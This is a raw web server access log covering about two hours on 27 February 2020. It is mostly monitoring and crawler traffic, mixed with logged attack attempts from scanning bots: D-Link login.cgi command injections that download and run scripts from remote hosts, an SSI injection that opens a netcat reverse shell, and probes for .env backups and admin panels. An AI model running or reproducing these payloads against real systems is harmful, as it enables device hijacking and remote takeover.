2.132.110.179 - - [27/Feb/2020:09:08:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:09:08:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.120.190.193 - - [27/Feb/2020:09:08:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:09:09:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:10:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
210.187.207.121 - - [27/Feb/2020:09:10:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
123.243.179.153 - - [27/Feb/2020:09:11:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [27/Feb/2020:09:11:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:12:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:13:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:14:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.8.189.133 - - [27/Feb/2020:09:15:21 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [27/Feb/2020:09:15:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.101.43.23 - - [27/Feb/2020:09:15:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 314 "-" "DEMONS/2.0"
66.249.73.24 - - [27/Feb/2020:09:16:19 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.24 - - [27/Feb/2020:09:16:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [27/Feb/2020:09:16:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.8.189.133 - - [27/Feb/2020:09:17:10 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [27/Feb/2020:09:17:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:18:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:19:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.200.26.238 - - [27/Feb/2020:09:19:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:09:20:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:21:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:22:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:23:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.8.189.133 - - [27/Feb/2020:09:23:24 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [27/Feb/2020:09:24:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:25:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.144.15.189 - - [27/Feb/2020:09:25:48 +0100] "GET /.env.backup HTTP/1.1" 404 316 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:09:25:48 +0100] "GET /.env.backup HTTP/1.1" 404 316 "-" "curl/7.58.0"
47.93.29.212 - - [27/Feb/2020:09:26:05 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [27/Feb/2020:09:26:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:27:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:28:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:29:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.32.140.239 - - [27/Feb/2020:09:29:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [27/Feb/2020:09:30:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:31:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:32:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:33:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:34:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:35:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:36:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.166.67.51 - - [27/Feb/2020:09:37:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:09:37:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:38:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:39:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:40:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:41:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:42:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:43:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
24.88.80.6 - - [27/Feb/2020:09:44:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
47.196.111.27 - - [27/Feb/2020:09:44:21 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:09:44:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:45:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.232.9 - - [27/Feb/2020:09:46:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:09:46:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.170.112.205 - - [27/Feb/2020:09:46:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [27/Feb/2020:09:47:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:48:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:49:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:50:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:51:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:52:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:53:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:54:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:55:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:56:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:57:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:58:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.163.144.139 - - [27/Feb/2020:09:58:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:09:59:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.74.143.108 - - [27/Feb/2020:10:00:08 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:10:00:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:01:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:02:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:03:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:04:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:05:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:06:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.54.109.47 - - [27/Feb/2020:10:06:54 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:10:07:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.22.227.124 - - [27/Feb/2020:10:08:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:10:08:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:09:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:10:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:11:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.124.171.139 - - [27/Feb/2020:10:11:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:10:12:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
43.245.131.185 - - [27/Feb/2020:10:12:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:10:13:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [27/Feb/2020:10:14:17 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [27/Feb/2020:10:14:17 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [27/Feb/2020:10:14:24 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [27/Feb/2020:10:14:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [27/Feb/2020:10:14:47 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
111.229.38.228 - - [27/Feb/2020:10:14:51 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
111.229.38.228 - - [27/Feb/2020:10:14:51 +0100] "POST /Admin51f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
45.152.6.58 - - [27/Feb/2020:10:15:00 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [27/Feb/2020:10:15:17 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [27/Feb/2020:10:15:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:16:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:17:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:18:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [27/Feb/2020:10:18:25 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [27/Feb/2020:10:19:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [27/Feb/2020:10:19:56 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [27/Feb/2020:10:20:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:21:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:22:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:23:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:24:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:25:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:26:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:27:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:28:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:29:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:30:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:31:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:32:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:33:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:34:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.35.204.131 - - [27/Feb/2020:10:35:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:10:35:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.42.113.52 - - [27/Feb/2020:10:36:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:10:36:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:37:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.143.155.138 - - [27/Feb/2020:10:38:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:10:38:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:39:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:40:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:41:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [27/Feb/2020:10:41:42 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [27/Feb/2020:10:42:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:43:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:44:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:45:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:46:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:47:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [27/Feb/2020:10:47:47 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [27/Feb/2020:10:48:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.49.226.137 - - [27/Feb/2020:10:49:13 +0100] "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2037.49.226.137%2029312%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0" 404 322 "-" "-"
212.91.246.72 - - [27/Feb/2020:10:49:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:50:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:51:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:52:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:53:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.67.52.241 - - [27/Feb/2020:10:54:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:10:54:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:55:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:56:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:57:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:58:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:10:59:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.43.89.214 - - [27/Feb/2020:10:59:35 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
212.91.246.72 - - [27/Feb/2020:11:00:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:01:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:02:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:03:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
